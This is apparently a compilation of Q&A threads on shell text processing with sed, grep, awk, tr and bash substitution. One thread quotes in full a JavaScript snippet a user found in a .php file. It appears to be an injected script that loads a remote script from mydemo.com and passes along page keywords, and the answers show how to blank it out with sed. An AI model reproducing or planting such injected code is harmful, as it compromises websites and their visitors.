Below is the shell script I am trying to find the meaning.
sed 's/19984 $/98400 /' | sed 's/19992 $/99200 /'
I expect 19984 $ will get replaced with 98400 and this string will be passed to next sed command which replace 19992 $ with 99200 .
But when I executed the script below with sample input
echo "19984 $ need to be replaced with 98400 "| sed 's/19984 $/98400 /' | sed 's/19992 $/99200 /'
I get the same string
"19984 $ need to be replaced with 98400"
I hope something I am missing here. Please help me. I am new to shell scripts.
Thanks in advance!
For sed, $ is a reserved character to you have to escape it (\$) to be parsed properly:
$ echo "19984 $ need to be replaced with 98400 "| sed 's/19984 \$/98400 /'
98400 need to be replaced with 98400
All together:
$ echo "19984 $ need to be replaced with 98400 "| sed 's/19984 \$/98400 /' | sed 's/19992 \$/99200 /'
98400 need to be replaced with 98400
So you need to keep it like it is.
$ can mean a lot of things:
- a normal character.
- end of line.
- name of a variable.
The way you got the code it means the second case: end of line:
$ echo "19984 " | sed 's/19984 $/98400 /'
98400
$ echo "19984 something" | sed 's/19984 $/98400 /'
19984 something
so sed will match just the cases in which the line ends with 19984. Otherwise it won't match.
Related
For example
echo "abc-1234a :" | grep <do-something>
to print only abc-1234a
I think these are closer to what you're getting at, but without knowing what you're really trying to achieve, it's hard to say.
echo "abc-1234a :" | egrep -o '^[^:]+'
... though this will also match lines that have no colon. If you only want lines with colons, and you must use only grep, this might work:
echo "abc-1234a :" | grep : | egrep -o '^[^:]+'
Of course, this only makes sense if your echo "abc-1234a :" is an example that would be replace with possibly multiple lines of input.
The smallest tool you could use is probably cut:
echo "abc-1234a :" | cut -d: -f1
And sed is always available...
echo "abc-1234a :" | sed 's/ *:.*//'
For this last one, if you only want to print lines that include a colon, change it to:
echo "abc-1234a :" | sed -ne 's/ *:.*//p'
Heck, you could even do this in pure bash:
while read line; do
field="${line%%:*}"
# do stuff with $field
done <<<"abc-1234a :"
For information on the %% bit, you can man bash and search for "Parameter Expansion".
UPDATE:
You said:
It's the characters in the first line of input before the colon. The
input could have multiple line though.
The solutions with grep probably aren't your best choice, then, since they'll also print data from subsequent lines that might include colons. Of course, there are many ways to solve this requirement as well. We'll start with sample input:
$ function sample { printf "abc-1234a:foo\nbar baz:\nNarf\n"; }
$ sample
abc-1234a:foo
bar baz:
Narf
You could use multiple pipes, for example:
$ sample | head -1 | grep -Eo '^[^:]*'
abc-1234a
$ sample | head -1 | cut -d: -f1
abc-1234a
Or you could use sed to process only the first line:
$ sample | sed -ne '1s/:.*//p'
abc-1234a
Or tell sed to exit after printing the first line (which is faster than reading the whole file):
$ sample | sed 's/:.*//;q'
abc-1234a
Or do the same thing but only show output if a colon was found (for safety):
$ sample | sed -ne 's/:.*//p;q'
abc-1234a
Or have awk do the same thing (as the last 3 examples, respectively):
$ sample | awk '{sub(/:.*/,"")} NR==1'
abc-1234a
$ sample | awk 'NR>1{nextfile} {sub(/:.*/,"")} 1'
abc-1234a
$ sample | awk 'NR>1{nextfile} sub(/:.*/,"")'
abc-1234a
Or in bash, with no pipes at all:
$ read line < <(sample)
$ printf '%s\n' "${line%%:*}"
abc-1234a
It is possible to do what you want with only sed.
Here is an example:
#!/bin/sh
filename=$1
pattern=yourpattern
# flag -n disables print everyline (default behavior)
sed -n "
1,/$pattern/ {
/$pattern/n # skip line containing pattern
p # print lines ranging from line 1 untill pattern
}
" $filename
exit 0
This works at least for GNU's sed. It should work for other sed too, except
regarding the comments (some implementations of sed don't support comments).
Source: https://www.grymoire.com/Unix/Sed.html
I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
I have a string like this:
string="aaa-bbb"
But I want to add space before char '-', so I want this:
aaa -bbb
I tried a lot of things, but I can't add space there. I tried with echo $string | tr '-' ' -', and some other stuff, but it didn't work...
I have Linux Mint: GNU bash, version 4.3.8(1)
No need to call sed, use string substitution native in BASH:
$ foo="abc-def-ghi"
$ echo "${foo//-/ -}"
abc -def -ghi
Note the two slashes after the variable name: the first slash replaces the first occurrence, where two slashes replace every occurrence.
Bash has builtin string substitution.
$ string="aaa-bbb"
$ result="${string/-/ -}"
$ echo "$result"
aaa -bbb
Alternatively, you can use sed or perl:
$ string="aaa-bbb"
$ result=$(sed 's/-/ -/' <<< $string)
$ echo "$result"
aaa -bbb
$ result=$(perl -pe 's/-/ -/' <<< $string)
$ echo "$result"
aaa -bbb
Give a try to this:
printf "%s\n" "${string}" | sed 's/-/ -/g'
It looks for - and replace it with - (space hyphen)
You are asking the shell to echo an un-quoted variable $string.
When that happens, spaces inside variables are used to split the string:
$ string="a -b -c"
$ printf '<%s>\n' $string
<a>
<-b>
<-c>
The variable does contain the spaces, just that you are not seeing it correctly.
Quote your expansions
$ printf '<%s>\n' "$string"
<a -b -c>
To get your variable changed from - to - there are many solutions:
sed: string="$(echo "$string" | sed 's/-/ -/g')"; echo "$string"
bash: string="${string//-/ -}; echo "$string"
tr can only substitute one character at a time. what you're looking for is sed:
echo "$string" | sed 's/-/ -/'
How to print output of grep -o in a single line ? I am trying to print :
$ echo "Hello Guys!" |grep -E '[A-Z]'
Hello Guys!
$ echo "Hello Guys!" |grep -Eo '[A-Z]' <----Multiple lines
H
G
$ echo "Hello Guys!" |grep -Eo '[A-Z]'
Desired output:
HG
I am able to cheaply achieve it using following command ,but the issue is that number of letters(3 in this case) could be dynamic. So this approach cannot be used.
echo "HEllo Guys!" |grep -oE '[A-Z]' |xargs -L3 |sed 's/ //g'
HEG
You could do it all with this sed instruction
echo "Hello Guys!" |sed 's/[^A-Z]//g'
UPDATE
Breakdown of sed command:
The s/// is sed's substitute command. It simply replaces the first RegEx (the one between the first and the second slash) with the Expression between slash two and three. The trailing g stands for global, i.e, do this for every match of the RegEx in the current line. Without the g it would just stop processing after the first match. The RegEx itself is matching any non-capital letter and then those letters are replaced with nothing, i.e., effectively deleted.
You can use awk:
echo "Hello Guys!" | awk '{ gsub(/[^A-Z]/,"", $0); print;}'
HG
Also with tr:
echo "Hello Guys!" | tr -cd [:upper:]
HG
Also with sed :
echo "Hello Guys!" | sed 's/[^\[:upper:]]//g'
HG
You just need to remove the newline characters. You can use tr for that:
echo "HEllo Guys!" |grep -Eo '[A-Z]' |tr -d '\n'
HEG
Though, it cuts the last newline too.
You can use perl instead of grep
echo 'HEllo Guys!' | perl -lne 'print /([A-Z])/g'
HEG
I have this data in file.txt:
1234-abca-dgdsf-kds-2;abc dfsfds 2
123-abcdegfs-sdsd;dsfdsf dfd f
12523-cvjbsvndv-dvd-dvdv;dsfdsfpage
I want to replace the string after "-" and up to ";" with just ";", so that I get:
1234;abc dfsfds 2
123;dsfdsf dfd f
12523;dsfdsfpage
I tried with the command:
sed -e "s/-.*;/;" file.txt
But it gives me the following error:
sed command garbled
Why is this happening?
sed replacement commands are defined as (source):
's/REGEXP/REPLACEMENT/[FLAGS]'
(substitute) Match the regular-expression against the content of the pattern space. If found, replace matched string with REPLACEMENT.
However, you are saying:
sed "s/-.*;/;"
That is:
sed "s/REGEXP/REPLACEMENT"
And hence missing a "/" at the end of the expression. Just add it to have:
sed "s/-.*;/;/"
# ^
You are missing a slash at the end of the sed command:
Should be "s/-.*;/;/"
-.* here the * greedy, so this would fail if there are more than one ;
echo "12523-cvjbsvndv-dvd-dvdv;dsfdsfpage;test" | sed -e "s/-.*;/;/"
12523;test
Change to -[^;]*
echo "12523-cvjbsvndv-dvd-dvdv;dsfdsfpage;test" | sed -e "s/-[^;]*;/;/"
12523;dsfdsfpage;test
This should work :
sed 's/-.*;/;/g' file > newFile